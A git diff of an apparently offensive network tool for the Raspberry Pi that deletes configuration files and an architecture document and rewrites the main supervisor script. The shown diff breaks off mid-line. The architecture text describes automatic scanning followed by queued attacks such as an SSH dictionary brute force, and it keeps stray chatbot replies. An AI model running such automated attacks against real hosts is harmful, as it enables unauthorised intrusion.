diff --git a/.gitattributes b/.gitattributes deleted file mode 100644 index 1bbd695..0000000 --- a/.gitattributes +++ /dev/null @@ -1,2 +0,0 @@ -*.sh text eol=lf -*.py text eol=lf diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml deleted file mode 100644 index 3aa4afd..0000000 --- a/.github/FUNDING.yml +++ /dev/null @@ -1,15 +0,0 @@ -# These are supported funding model platforms - -#github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] -#patreon: # Replace with a single Patreon username -#open_collective: # Replace with a single Open Collective username -#ko_fi: # Replace with a single Ko-fi username -#tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel -#community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry -#liberapay: # Replace with a single Liberapay username -#issuehunt: # Replace with a single IssueHunt username -#lfx_crowdfunding: # Replace with a single LFX Crowdfunding project-name e.g., cloud-foundry -#polar: # Replace with a single Polar username -buy_me_a_coffee: infinition -#thanks_dev: # Replace with a single thanks.dev username -#custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md deleted file mode 100644 index de3dec8..0000000 --- a/.github/ISSUE_TEMPLATE/bug_report.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -name: Bug report -about: Create a report to help us improve -title: "" -labels: "" -assignees: "" ---- - -**Describe the bug** -A clear and concise description of what the bug is. - -**To Reproduce** -Steps to reproduce the behavior: - -1. Go to '...' -2. Click on '....' -3. Scroll down to '....' -4. See error - -**Expected behavior** -A clear and concise description of what you expected to happen. - -**Screenshots** -If applicable, add screenshots to help explain your problem. - -**Hardware (please complete the following information):** - -- Device: [e.g. iPhone6] -- OS: [e.g. iOS] -- Browser [e.g. chrome, safari] -- Version [e.g. 22] - -**Additional context** -Add any other context about the problem here. diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml deleted file mode 100644 index 8060bb0..0000000 --- a/.github/ISSUE_TEMPLATE/config.yml +++ /dev/null @@ -1,11 +0,0 @@ ---- -# .github/ISSUE_TEMPLATE/config.yml - -blank_issues_enabled: false -contact_links: - - name: Bjorn Community Support - url: https://github.com/infinition/bjorn/discussions - about: Please ask and answer questions here. - - name: Bjorn Security Reports - url: https://infinition.github.io/bjorn/SECURITY - about: Please report security vulnerabilities here. diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md deleted file mode 100644 index 2bc5d5f..0000000 --- a/.github/ISSUE_TEMPLATE/feature_request.md +++ /dev/null @@ -1,19 +0,0 @@ ---- -name: Feature request -about: Suggest an idea for this project -title: "" -labels: "" -assignees: "" ---- - -**Is your feature request related to a problem? Please describe.** -A clear and concise description of what the problem is. Ex. I'm always frustrated when [...] - -**Describe the solution you'd like** -A clear and concise description of what you want to happen. - -**Describe alternatives you've considered** -A clear and concise description of any alternative solutions or features you've considered. - -**Additional context** -Add any other context or screenshots about the feature request here. diff --git a/.github/dependabot.yml b/.github/dependabot.yml deleted file mode 100644 index b138697..0000000 --- a/.github/dependabot.yml +++ /dev/null @@ -1,12 +0,0 @@ -# .github/dependabot.yml - -version: 2 -updates: - - package-ecosystem: "pip" - directory: "." - schedule: - interval: "weekly" - commit-message: - prefix: "fix(deps)" - open-pull-requests-limit: 5 - target-branch: "dev" \ No newline at end of file diff --git a/.gitignore b/.gitignore deleted file mode 100644 index aefeb55..0000000 --- a/.gitignore +++ /dev/null @@ -1,137 +0,0 @@ -# Node.js / npm -node_modules/ -npm-debug.log* -yarn-debug.log* -yarn-error.log* -.pnpm-debug.log* -package-lock.json* - -# TypeScript / TSX -dist/ -*.tsbuildinfo - -# Poetry -poetry.lock - -# Environment variables -.env -.env.*.local - -# Logs -logs -*.log -pnpm-debug.log* -lerna-debug.log* - -# Dependency directories -jspm_packages/ - -# Optional npm cache directory -.npm - -# Output of 'npm pack' -*.tgz - -# Lockfiles -yarn.lock -.pnpm-lock.yaml - -# Optional eslint cache -.eslintcache - -# Optional stylelint cache -.stylelintcache - -# Optional REPL history -.node_repl_history - -# Coverage directory used by tools like -instanbul/ -istanbul/jest -jest/ -coverage/ - -# Output of 'tsc' command -out/ -build/ -tmp/ -temp/ - -# Python -__pycache__/ -*.py[cod] -*.so -*.egg -*.egg-info/ -pip-wheel-metadata/ -*.pyo -*.pyd -*.whl -*.pytest_cache/ -.tox/ -env/ -venv -venv/ -ENV/ -env.bak/ -.venv/ - -# mypy -.mypy_cache/ -.dmypy.json -dmypy.json - -# Pyre type checker -.pyre/ - -# Coverage reports -htmlcov/ -.coverage -.cache -nosetests.xml -coverage.xml -*.cover -*.py,cover - -# Jupyter Notebook -.ipynb_checkpoints - -# Django stuff: -staticfiles/ -local_settings.py -db.sqlite3 -db.sqlite3-journal - -# Flask stuff: -instance/ -.webassets-cache - -# VS Code settings -.vscode/ -.idea/ - -# macOS files -.DS_Store -.AppleDouble -.LSOverride - -# Windows files -Thumbs.db -ehthumbs.db -Desktop.ini -$RECYCLE.BIN/ - -# Linux system files -*.swp -*~ - -# IDE specific -*.iml -*.suo -*.ntvs* -*.njsproj -*.sln -*.sw? - -scripts -*/certs/ diff --git a/.pylintrc b/.pylintrc deleted file mode 100644 index 337f65b..0000000 --- a/.pylintrc +++ /dev/null @@ -1,652 +0,0 @@ -[MAIN] - -# Analyse import fallback blocks. This can be used to support both Python 2 and -# 3 compatible code, which means that the block might have code that exists -# only in one or another interpreter, leading to false positives when analysed. -analyse-fallback-blocks=no - -# Clear in-memory caches upon conclusion of linting. Useful if running pylint -# in a server-like mode. -clear-cache-post-run=no - -# Load and enable all available extensions. Use --list-extensions to see a list -# all available extensions. -#enable-all-extensions= - -# In error mode, messages with a category besides ERROR or FATAL are -# suppressed, and no reports are done by default. Error mode is compatible with -# disabling specific errors. -#errors-only= - -# Always return a 0 (non-error) status code, even if lint errors are found. -# This is primarily useful in continuous integration scripts. -#exit-zero= - -# A comma-separated list of package or module names from where C extensions may -# be loaded. Extensions are loading into the active Python interpreter and may -# run arbitrary code. -extension-pkg-allow-list= - -# A comma-separated list of package or module names from where C extensions may -# be loaded. Extensions are loading into the active Python interpreter and may -# run arbitrary code. (This is an alternative name to extension-pkg-allow-list -# for backward compatibility.) -extension-pkg-whitelist= - -# Return non-zero exit code if any of these messages/categories are detected, -# even if score is above --fail-under value. Syntax same as enable. Messages -# specified are enabled, while categories only check already-enabled messages. -fail-on= - -# Specify a score threshold under which the program will exit with error. -fail-under=8 - -# Interpret the stdin as a python script, whose filename needs to be passed as -# the module_or_package argument. -#from-stdin= - -# Files or directories to be skipped. They should be base names, not paths. -ignore=venv,node_modules,scripts - -# Add files or directories matching the regular expressions patterns to the -# ignore-list. The regex matches against paths and can be in Posix or Windows -# format. Because '\\' represents the directory delimiter on Windows systems, -# it can't be used as an escape character. -ignore-paths= - -# Files or directories matching the regular expression patterns are skipped. -# The regex matches against base names, not paths. The default value ignores -# Emacs file locks -ignore-patterns=^\.# - -# List of module names for which member attributes should not be checked and -# will not be imported (useful for modules/projects where namespaces are -# manipulated during runtime and thus existing member attributes cannot be -# deduced by static analysis). It supports qualified module names, as well as -# Unix pattern matching. -ignored-modules= - -# Python code to execute, usually for sys.path manipulation such as -# pygtk.require(). -#init-hook= - -# Use multiple processes to speed up Pylint. Specifying 0 will auto-detect the -# number of processors available to use, and will cap the count on Windows to -# avoid hangs. -jobs=1 - -# Control the amount of potential inferred values when inferring a single -# object. This can help the performance when dealing with large functions or -# complex, nested conditions. -limit-inference-results=100 - -# List of plugins (as comma separated values of python module names) to load, -# usually to register additional checkers. -load-plugins= - -# Pickle collected data for later comparisons. -persistent=yes - -# Resolve imports to .pyi stubs if available. May reduce no-member messages and -# increase not-an-iterable messages. -prefer-stubs=no - -# Minimum Python version to use for version dependent checks. Will default to -# the version used to run pylint. -py-version=3.12 - -# Discover python modules and packages in the file system subtree. -recursive=no - -# Add paths to the list of the source roots. Supports globbing patterns. The -# source root is an absolute path or a path relative to the current working -# directory used to determine a package namespace for modules located under the -# source root. -source-roots= - -# When enabled, pylint would attempt to guess common misconfiguration and emit -# user-friendly hints instead of false-positive error messages. -suggestion-mode=yes - -# Allow loading of arbitrary C extensions. Extensions are imported into the -# active Python interpreter and may run arbitrary code. -unsafe-load-any-extension=no - -# In verbose mode, extra non-checker-related info will be displayed. -#verbose= - - -[BASIC] - -# Naming style matching correct argument names. -argument-naming-style=snake_case - -# Regular expression matching correct argument names. Overrides argument- -# naming-style. If left empty, argument names will be checked with the set -# naming style. -#argument-rgx= - -# Naming style matching correct attribute names. -attr-naming-style=snake_case - -# Regular expression matching correct attribute names. Overrides attr-naming- -# style. If left empty, attribute names will be checked with the set naming -# style. -#attr-rgx= - -# Bad variable names which should always be refused, separated by a comma. -bad-names=foo, - bar, - baz, - toto, - tutu, - tata - -# Bad variable names regexes, separated by a comma. If names match any regex, -# they will always be refused -bad-names-rgxs= - -# Naming style matching correct class attribute names. -class-attribute-naming-style=any - -# Regular expression matching correct class attribute names. Overrides class- -# attribute-naming-style. If left empty, class attribute names will be checked -# with the set naming style. -#class-attribute-rgx= - -# Naming style matching correct class constant names. -class-const-naming-style=UPPER_CASE - -# Regular expression matching correct class constant names. Overrides class- -# const-naming-style. If left empty, class constant names will be checked with -# the set naming style. -#class-const-rgx= - -# Naming style matching correct class names. -class-naming-style=PascalCase - -# Regular expression matching correct class names. Overrides class-naming- -# style. If left empty, class names will be checked with the set naming style. -#class-rgx= - -# Naming style matching correct constant names. -const-naming-style=UPPER_CASE - -# Regular expression matching correct constant names. Overrides const-naming- -# style. If left empty, constant names will be checked with the set naming -# style. -#const-rgx= - -# Minimum line length for functions/classes that require docstrings, shorter -# ones are exempt. -docstring-min-length=-1 - -# Naming style matching correct function names. -function-naming-style=snake_case - -# Regular expression matching correct function names. Overrides function- -# naming-style. If left empty, function names will be checked with the set -# naming style. -#function-rgx= - -# Good variable names which should always be accepted, separated by a comma. -good-names=i, - j, - k, - ex, - Run, - _ - -# Good variable names regexes, separated by a comma. If names match any regex, -# they will always be accepted -good-names-rgxs= - -# Include a hint for the correct naming format with invalid-name. -include-naming-hint=no - -# Naming style matching correct inline iteration names. -inlinevar-naming-style=any - -# Regular expression matching correct inline iteration names. Overrides -# inlinevar-naming-style. If left empty, inline iteration names will be checked -# with the set naming style. -#inlinevar-rgx= - -# Naming style matching correct method names. -method-naming-style=snake_case - -# Regular expression matching correct method names. Overrides method-naming- -# style. If left empty, method names will be checked with the set naming style. -#method-rgx= - -# Naming style matching correct module names. -module-naming-style=snake_case - -# Regular expression matching correct module names. Overrides module-naming- -# style. If left empty, module names will be checked with the set naming style. -#module-rgx= - -# Colon-delimited sets of names that determine each other's naming style when -# the name regexes allow several styles. -name-group= - -# Regular expression which should only match function or class names that do -# not require a docstring. -no-docstring-rgx=^_ - -# List of decorators that produce properties, such as abc.abstractproperty. Add -# to this list to register other decorators that produce valid properties. -# These decorators are taken in consideration only for invalid-name. -property-classes=abc.abstractproperty - -# Regular expression matching correct type alias names. If left empty, type -# alias names will be checked with the set naming style. -#typealias-rgx= - -# Regular expression matching correct type variable names. If left empty, type -# variable names will be checked with the set naming style. -#typevar-rgx= - -# Naming style matching correct variable names. -variable-naming-style=snake_case - -# Regular expression matching correct variable names. Overrides variable- -# naming-style. If left empty, variable names will be checked with the set -# naming style. -variable-rgx=[a-z_][a-z0-9_]{2,30}$ - - -[CLASSES] - -# Warn about protected attribute access inside special methods -check-protected-access-in-special-methods=no - -# List of method names used to declare (i.e. assign) instance attributes. -defining-attr-methods=__init__, - __new__, - setUp, - asyncSetUp, - __post_init__ - -# List of member names, which should be excluded from the protected access -# warning. -exclude-protected=_asdict,_fields,_replace,_source,_make,os._exit - -# List of valid names for the first argument in a class method. -valid-classmethod-first-arg=cls - -# List of valid names for the first argument in a metaclass class method. -valid-metaclass-classmethod-first-arg=mcs - - -[DESIGN] - -# List of regular expressions of class ancestor names to ignore when counting -# public methods (see R0903) -exclude-too-few-public-methods= - -# List of qualified class names to ignore when counting class parents (see -# R0901) -ignored-parents= - -# Maximum number of arguments for function / method. -max-args=5 - -# Maximum number of attributes for a class (see R0902). -max-attributes=7 - -# Maximum number of boolean expressions in an if statement (see R0916). -max-bool-expr=5 - -# Maximum number of branch for function / method body. -max-branches=12 - -# Maximum number of locals for function / method body. -max-locals=15 - -# Maximum number of parents for a class (see R0901). -max-parents=7 - -# Maximum number of positional arguments for function / method. -max-positional-arguments=5 - -# Maximum number of public methods for a class (see R0904). -max-public-methods=20 - -# Maximum number of return / yield for function / method body. -max-returns=6 - -# Maximum number of statements in function / method body. -max-statements=50 - -# Minimum number of public methods for a class (see R0903). -min-public-methods=2 - - -[EXCEPTIONS] - -# Exceptions that will emit a warning when caught. -overgeneral-exceptions=builtins.BaseException,builtins.Exception - - -[FORMAT] - -# Expected format of line ending, e.g. empty (any line ending), LF or CRLF. -expected-line-ending-format= - -# Regexp for a line that is allowed to be longer than the limit. -ignore-long-lines=^\s*(# )??$ - -# Number of spaces of indent required inside a hanging or continued line. -indent-after-paren=4 - -# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1 -# tab). -indent-string=' ' - -# Maximum number of characters on a single line. -max-line-length=100 - -# Maximum number of lines in a module. -max-module-lines=2500 - -# Allow the body of a class to be on the same line as the declaration if body -# contains single statement. -single-line-class-stmt=no - -# Allow the body of an if to be on the same line as the test if there is no -# else. -single-line-if-stmt=no - - -[IMPORTS] - -# List of modules that can be imported at any level, not just the top level -# one. -allow-any-import-level= - -# Allow explicit reexports by alias from a package __init__. -allow-reexport-from-package=no - -# Allow wildcard imports from modules that define __all__. -allow-wildcard-with-all=no - -# Deprecated modules which should not be used, separated by a comma. -deprecated-modules= - -# Output a graph (.gv or any supported image format) of external dependencies -# to the given file (report RP0402 must not be disabled). -ext-import-graph= - -# Output a graph (.gv or any supported image format) of all (i.e. internal and -# external) dependencies to the given file (report RP0402 must not be -# disabled). -import-graph= - -# Output a graph (.gv or any supported image format) of internal dependencies -# to the given file (report RP0402 must not be disabled). -int-import-graph= - -# Force import order to recognize a module as part of the standard -# compatibility libraries. -known-standard-library= - -# Force import order to recognize a module as part of a third party library. -known-third-party=enchant - -# Couples of modules and preferred modules, separated by a comma. -preferred-modules= - - -[LOGGING] - -# The type of string formatting that logging methods do. `old` means using % -# formatting, `new` is for `{}` formatting. -logging-format-style=new - -# Logging modules to check that the string format arguments are in logging -# function parameter format. -logging-modules=logging - - -[MESSAGES CONTROL] - -# Only show warnings with the listed confidence levels. Leave empty to show -# all. Valid levels: HIGH, CONTROL_FLOW, INFERENCE, INFERENCE_FAILURE, -# UNDEFINED. -confidence=HIGH, - CONTROL_FLOW, - INFERENCE, - INFERENCE_FAILURE, - UNDEFINED - -# Disable the message, report, category or checker with the given id(s). You -# can either give multiple identifiers separated by comma (,) or put this -# option multiple times (only on the command line, not in the configuration -# file where it should appear only once). You can also use "--disable=all" to -# disable everything first and then re-enable specific checks. For example, if -# you want to run only the similarities checker, you can use "--disable=all -# --enable=similarities". If you want to run only the classes checker, but have -# no Warning level messages displayed, use "--disable=all --enable=classes -# --disable=W". -disable=missing-module-docstring, - invalid-name, - too-few-public-methods, - E1101, - C0115, - duplicate-code, - raise-missing-from, - wrong-import-order, - ungrouped-imports, - reimported, - too-many-locals, - missing-timeout, - broad-exception-caught, - broad-exception-raised, - line-too-long - -# Enable the message, report, category or checker with the given id(s). You can -# either give multiple identifier separated by comma (,) or put this option -# multiple time (only on the command line, not in the configuration file where -# it should appear only once). See also the "--disable" option for examples. -#enable= - - -[METHOD_ARGS] - -# List of qualified names (i.e., library.method) which require a timeout -# parameter e.g. 'requests.api.get,requests.api.post' -timeout-methods=requests.api.delete,requests.api.get,requests.api.head,requests.api.options,requests.api.patch,requests.api.post,requests.api.put,requests.api.request - - -[MISCELLANEOUS] - -# List of note tags to take in consideration, separated by a comma. -notes=FIXME, - XXX, - TODO - -# Regular expression of note tags to take in consideration. -notes-rgx= - - -[REFACTORING] - -# Maximum number of nested blocks for function / method body -max-nested-blocks=5 - -# Complete name of functions that never returns. When checking for -# inconsistent-return-statements if a never returning function is called then -# it will be considered as an explicit return statement and no message will be -# printed. -never-returning-functions=sys.exit,argparse.parse_error - -# Let 'consider-using-join' be raised when the separator to join on would be -# non-empty (resulting in expected fixes of the type: ``"- " + " - -# ".join(items)``) -suggest-join-with-non-empty-separator=yes - - -[REPORTS] - -# Python expression which should return a score less than or equal to 10. You -# have access to the variables 'fatal', 'error', 'warning', 'refactor', -# 'convention', and 'info' which contain the number of messages in each -# category, as well as 'statement' which is the total number of statements -# analyzed. This score is used by the global evaluation report (RP0004). -evaluation=max(0, 0 if fatal else 10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10)) - -# Template used to display messages. This is a python new-style format string -# used to format the message information. See doc for all details. -msg-template= - -# Set the output format. Available formats are: text, parseable, colorized, -# json2 (improved json format), json (old json format) and msvs (visual -# studio). You can also give a reporter class, e.g. -# mypackage.mymodule.MyReporterClass. -#output-format= - -# Tells whether to display a full report or only the messages. -reports=no - -# Activate the evaluation score. -score=yes - - -[SIMILARITIES] - -# Comments are removed from the similarity computation -ignore-comments=yes - -# Docstrings are removed from the similarity computation -ignore-docstrings=yes - -# Imports are removed from the similarity computation -ignore-imports=yes - -# Signatures are removed from the similarity computation -ignore-signatures=yes - -# Minimum lines number of a similarity. -min-similarity-lines=4 - - -[SPELLING] - -# Limits count of emitted suggestions for spelling mistakes. -max-spelling-suggestions=4 - -# Spelling dictionary name. No available dictionaries : You need to install -# both the python package and the system dependency for enchant to work. -spelling-dict= - -# List of comma separated words that should be considered directives if they -# appear at the beginning of a comment and should not be checked. -spelling-ignore-comment-directives=fmt: on,fmt: off,noqa:,noqa,nosec,isort:skip,mypy: - -# List of comma separated words that should not be checked. -spelling-ignore-words= - -# A path to a file that contains the private dictionary; one word per line. -spelling-private-dict-file= - -# Tells whether to store unknown words to the private dictionary (see the -# --spelling-private-dict-file option) instead of raising a message. -spelling-store-unknown-words=no - - -[STRING] - -# This flag controls whether inconsistent-quotes generates a warning when the -# character used as a quote delimiter is used inconsistently within a module. -check-quote-consistency=no - -# This flag controls whether the implicit-str-concat should generate a warning -# on implicit string concatenation in sequences defined over several lines. -check-str-concat-over-line-jumps=no - - -[TYPECHECK] - -# List of decorators that produce context managers, such as -# contextlib.contextmanager. Add to this list to register other decorators that -# produce valid context managers. -contextmanager-decorators=contextlib.contextmanager - -# List of members which are set dynamically and missed by pylint inference -# system, and so shouldn't trigger E1101 when accessed. Python regular -# expressions are accepted. -generated-members= - -# Tells whether to warn about missing members when the owner of the attribute -# is inferred to be None. -ignore-none=yes - -# This flag controls whether pylint should warn about no-member and similar -# checks whenever an opaque object is returned when inferring. The inference -# can return multiple potential results while evaluating a Python object, but -# some branches might not be evaluated, which results in partial inference. In -# that case, it might be useful to still emit no-member and other checks for -# the rest of the inferred objects. -ignore-on-opaque-inference=yes - -# List of symbolic message names to ignore for Mixin members. -ignored-checks-for-mixins=no-member, - not-async-context-manager, - not-context-manager, - attribute-defined-outside-init - -# List of class names for which member attributes should not be checked (useful -# for classes with dynamically set attributes). This supports the use of -# qualified names. -ignored-classes=optparse.Values,thread._local,_thread._local,argparse.Namespace - -# Show a hint with possible names when a member name was not found. The aspect -# of finding the hint is based on edit distance. -missing-member-hint=yes - -# The minimum edit distance a name should have in order to be considered a -# similar match for a missing member name. -missing-member-hint-distance=1 - -# The total number of similar names that should be taken in consideration when -# showing a hint for a missing member. -missing-member-max-choices=1 - -# Regex pattern to define which classes are considered mixins. -mixin-class-rgx=.*[Mm]ixin - -# List of decorators that change the signature of a decorated function. -signature-mutators= - - -[VARIABLES] - -# List of additional names supposed to be defined in builtins. Remember that -# you should avoid defining new builtins when possible. -additional-builtins= - -# Tells whether unused global variables should be treated as a violation. -allow-global-unused-variables=yes - -# List of names allowed to shadow builtins -allowed-redefined-builtins= - -# List of strings which can identify a callback function by name. A callback -# name must start or end with one of those strings. -callbacks=cb_, - _cb - -# A regular expression matching the name of dummy variables (i.e. expected to -# not be used). -dummy-variables-rgx=_+$|(_[a-zA-Z0-9_]*[a-zA-Z0-9]+?$)|dummy|^ignored_|^unused_ - -# Argument names that match this expression will be ignored. -ignored-argument-names=_.*|^ignored_|^unused_ - -# Tells whether we should check for unused import in __init__ files. -init-import=no - -# List of qualified module names which can have objects that can redefine -# builtins. -redefining-builtins-modules=six.moves,past.builtins,future.builtins,builtins,io diff --git a/ARCHITECTURE.md b/ARCHITECTURE.md deleted file mode 100644 index bf5e464..0000000 --- a/ARCHITECTURE.md +++ /dev/null @@ -1,148 +0,0 @@ - -# Bjorn Cyberviking Architecture - -This document describes the internal workings of **Bjorn Cyberviking**. -> The architecture is designed to be **modular and asynchronous**, using multi-threading to handle the display, web interface, and cyber-security operations (scanning, attacks) simultaneously. - ------ - -## 1\. High-Level Overview - -The system relies on a **"Producer-Consumer"** model orchestrated around shared memory and a central database. - -### System Data Flow - - * **User / WebUI**: Interacts with the `WebApp`, which uses `WebUtils` to read/write to the **SQLite DB**. - * **Kernel (Main Thread)**: `Bjorn.py` initializes the `SharedData` (global state in RAM). - * **Brain (Logic)**: - * **Scheduler**: Plans actions based on triggers and writes them to the DB. - * **Orchestrator**: Reads the queue from the DB, executes scripts from `/actions`, and updates results in the DB. - * **Output (Display)**: `Display.py` reads the current state from `SharedData` and renders it to the E-Paper Screen. - ------ - -## 2\. Core Components - -### 2.1. The Entry Point (`Bjorn.py`) - -This is the global conductor. - - * **Role**: Initializes components, manages the application lifecycle, and handles stop signals. - * **Workflow**: - 1. Loads configuration via `SharedData`. - 2. Starts the display thread (`Display`). - 3. Starts the web server thread (`WebApp`). - 4. **Network Monitor**: As soon as an interface (Wi-Fi/Eth) is active, it starts the **Orchestrator** thread (automatic mode). If the network drops, it can pause the orchestrator. - -### 2.2. Central Memory (`shared.py`) - -This is the backbone of the program. - - * **Role**: Stores the global state of Bjorn, accessible by all threads. - * **Content**: - * **Configuration**: Loaded from the DB (`config`). - * **Runtime State**: Current status (`IDLE`, `SCANNING`...), displayed text, indicators (wifi, bluetooth, battery). - * **Resources**: File paths, fonts, images loaded into RAM. - * **Singleton DB**: A unique instance of `BjornDatabase` to avoid access conflicts. - -### 2.3. Persistent Storage (`database.py`) - -A facade (wrapper) for **SQLite**. - - * **Architecture**: Delegates specific operations to sub-modules (in `db_utils/`) to keep the code clean (e.g., `HostOps`, `QueueOps`, `VulnerabilityOps`). - * **Role**: Ensures persistence of discovered hosts, vulnerabilities, the action queue, and logs. - ------ - -## 3\. The Operational Core: Scheduler vs Orchestrator - -This is where Bjorn's "intelligence" lies. The system separates **decision** from **action**. - -### 3.1. The Scheduler (`action_scheduler.py`) - -*It "thinks" but does not act.* - - * **Role**: Analyzes the environment and populates the queue (`action_queue`). - * **Logic**: - * It loops regularly to check **Triggers** defined in actions (e.g., `on_new_host`, `on_open_port:80`, `on_interval:600`). - * If a condition is met (e.g., a new PC is discovered), it inserts the corresponding action into the database with the status `pending`. - * It manages priorities and avoids duplicates. - -### 3.2. The Orchestrator (`orchestrator.py`) - -*It acts but does not deliberate on strategic consequences.* - - * **Role**: Consumes the queue. - * **Logic**: - 1. Requests the next priority action (`pending`) from the DB. - 2. Dynamically loads the corresponding Python module from the `/actions` folder (via `importlib`). - 3. Executes the `run()` or `execute()` method of the action. - 4. Updates the result (`success`/`failed`) in the DB. - 5. Updates the status displayed on the screen (via `SharedData`). - ------ - -## 4\. User Interface - -### 4.1. E-Ink Display (`display.py` & `epd_manager.py`) - - * **EPD Manager**: `epd_manager.py` is a singleton handling low-level hardware access (SPI) to prevent conflicts and manage hardware timeouts. - * **Rendering**: `display.py` constructs the image in memory (**PIL**) by assembling: - * Bjorn's face (based on current status). - * Statistics (skulls, lightning bolts, coins). - * The "catchphrase" (generated by `comment.py`). - * **Optimization**: Uses partial refresh to avoid black/white flashing, except for periodic maintenance. - -### 4.2. Web Interface (`webapp.py`) - - * **Server**: A custom multi-threaded `http.server` (no heavy frameworks like Flask/Django to ensure lightness). - * **Architecture**: - * API requests are dynamically routed to `WebUtils` (`utils.py`). - * The frontend communicates primarily in **JSON**. - * Handles authentication and GZIP compression of assets. - -### 4.3. The Commentator (`comment.py`) - -Provides Bjorn's personality. It selects phrases from the database based on context (e.g., *"Bruteforcing SSH..."*) and the configured language, with a weighting and delay system to avoid spamming. - ------ - -Voici la section mise à jour avec le flux logique pour une attaque SSH sur le port 22 : - -*** - -## 5. Typical Data Flow (Example) - -Here is what happens when Bjorn identifies a vulnerable service: - -1. **Scanning (Action)**: The Orchestrator executes a scan. It discovers IP `192.168.1.50` has **port 22 (SSH) open**. -2. **Storage**: The scanner saves the host and port status to the DB. -3. **Reaction (Scheduler)**: In the next cycle, the `ActionScheduler` detects the open port. It checks actions that have the `on_open_port:22` trigger. -4. **Planning**: It adds the `SSHBruteforce` action to the `action_queue` for this IP. -5. **Execution (Orchestrator)**: The Orchestrator finishes its current task, sees the `SSHBruteforce` in the queue, picks it up, and starts the dictionary attack. -6. **Feedback (Display)**: `SharedData` is updated. The screen displays *"Cracking 192.168.1.50"* with the corresponding face. -7. **Web**: The user sees the attack attempt and real-time logs on the web dashboard. - -*** - -**Would you like me to create a diagram to illustrate this specific attack flow?** ------ - -## 6\. Folder Structure - -Although not provided here, the architecture implies this structure: - -```text -/ -├── Bjorn.py # Root program entry -├── orchestrator.py # Action consumer -├── shared.py # Shared memory -├── actions/ # Python modules containing attack/scan logic (dynamically loaded) -├── data/ # Stores bjorn.db and logs -├── web/ # HTML/JS/CSS files for the interface -└── resources/ # Images, fonts (.bmp, .ttf) -``` - ------ - -**Would you like me to generate a Mermaid.js diagram code block (Flowchart) to visualize the Scheduler/Orchestrator loop described in section 3?** \ No newline at end of file diff --git a/Bjorn.py b/Bjorn.py index c65f6fd..7f46f27 100644 --- a/Bjorn.py +++ b/Bjorn.py @@ -1,173 +1,625 @@ -# bjorn.py -import threading -import signal +# Bjorn.py +# Main entry point and supervisor for the Bjorn project +# Manages lifecycle of threads, health monitoring, and crash protection. +# OPTIMIZED FOR PI ZERO 2: Low CPU overhead, aggressive RAM management. + import logging -import time -import sys +import os +import signal import subprocess -import re -from init_shared import shared_data -from display import Display, handle_exit_display +import sys +import threading +import time +import gc +import tracemalloc +import atexit + from comment import Commentaireia -from webapp import web_thread, handle_exit_web -from orchestrator import Orchestrator +from display import Display, handle_exit_display +from init_shared import shared_data from logger import Logger +from orchestrator import Orchestrator +from runtime_state_updater import RuntimeStateUpdater +from webapp import web_thread logger = Logger(name="Bjorn.py", level=logging.DEBUG) +_shutdown_lock = threading.Lock() +_shutdown_started = False +_instance_lock_fd = None +_instance_lock_path = "/tmp/bjorn_160226.lock" + +try: + import fcntl +except Exception: + fcntl = None + + +def _release_instance_lock(): + global _instance_lock_fd + if _instance_lock_fd is None: + return + try: + if fcntl is not None: + try: + fcntl.flock(_instance_lock_fd.fileno(), fcntl.LOCK_UN) + except Exception: + pass + _instance_lock_fd.close() + except Exception: + pass + _instance_lock_fd = None + + +def _acquire_instance_lock() -> bool: + """Ensure only one Bjorn_160226 process can run at once.""" + global _instance_lock_fd + if _instance_lock_fd is not None: + return True + + try: + fd = open(_instance_lock_path, "a+", encoding="utf-8") + except Exception as exc: + logger.error(f"Unable to open instance lock file {_instance_lock_path}: {exc}") + return True + + if fcntl is None: + _instance_lock_fd = fd + return True + + try: + fcntl.flock(fd.fileno(), fcntl.LOCK_EX | fcntl.LOCK_NB) + fd.seek(0) + fd.truncate() + fd.write(str(os.getpid())) + fd.flush() + except OSError: + try: + fd.seek(0) + owner_pid = fd.read().strip() or "unknown" + except Exception: + owner_pid = "unknown" + logger.critical(f"Another Bjorn instance is already running (pid={owner_pid}).") + try: + fd.close() + except Exception: + pass + return False + + _instance_lock_fd = fd + return True + + +class HealthMonitor(threading.Thread): + """Periodic runtime health logger (threads/fd/rss/queue/epd metrics).""" + + def __init__(self, shared_data_, interval_s: int = 60): + super().__init__(daemon=True, name="HealthMonitor") + self.shared_data = shared_data_ + self.interval_s = max(10, int(interval_s)) + self._stop_event = threading.Event() + self._tm_prev_snapshot = None + self._tm_last_report = 0.0 + + def stop(self): + self._stop_event.set() + + def _fd_count(self) -> int: + try: + return len(os.listdir("/proc/self/fd")) + except Exception: + return -1 + + def _rss_kb(self) -> int: + try: + with open("/proc/self/status", "r", encoding="utf-8") as fh: + for line in fh: + if line.startswith("VmRSS:"): + parts = line.split() + if len(parts) >= 2: + return int(parts[1]) + except Exception: + pass + return -1 + + def _queue_counts(self): + pending = running = scheduled = -1 + try: + # Using query_one safe method from database + row = self.shared_data.db.query_one( + """ + SELECT + SUM(CASE WHEN status='pending' THEN 1 ELSE 0 END) AS pending, + SUM(CASE WHEN status='running' THEN 1 ELSE 0 END) AS running, + SUM(CASE WHEN status='scheduled' THEN 1 ELSE 0 END) AS scheduled + FROM action_queue + """ + ) + if row: + pending = int(row.get("pending") or 0) + running = int(row.get("running") or 0) + scheduled = int(row.get("scheduled") or 0) + except Exception as exc: + logger.error_throttled( + f"Health monitor queue count query failed: {exc}", + key="health_queue_counts", + interval_s=120, + ) + return pending, running, scheduled + + def run(self): + while not self._stop_event.wait(self.interval_s): + try: + threads = threading.enumerate() + thread_count = len(threads) + top_threads = ",".join(t.name for t in threads[:8]) + fd_count = self._fd_count() + rss_kb = self._rss_kb() + pending, running, scheduled = self._queue_counts() + + # Lock to safely read shared metrics without race conditions + with self.shared_data.health_lock: + display_metrics = dict(getattr(self.shared_data, "display_runtime_metrics", {}) or {}) + + epd_enabled = 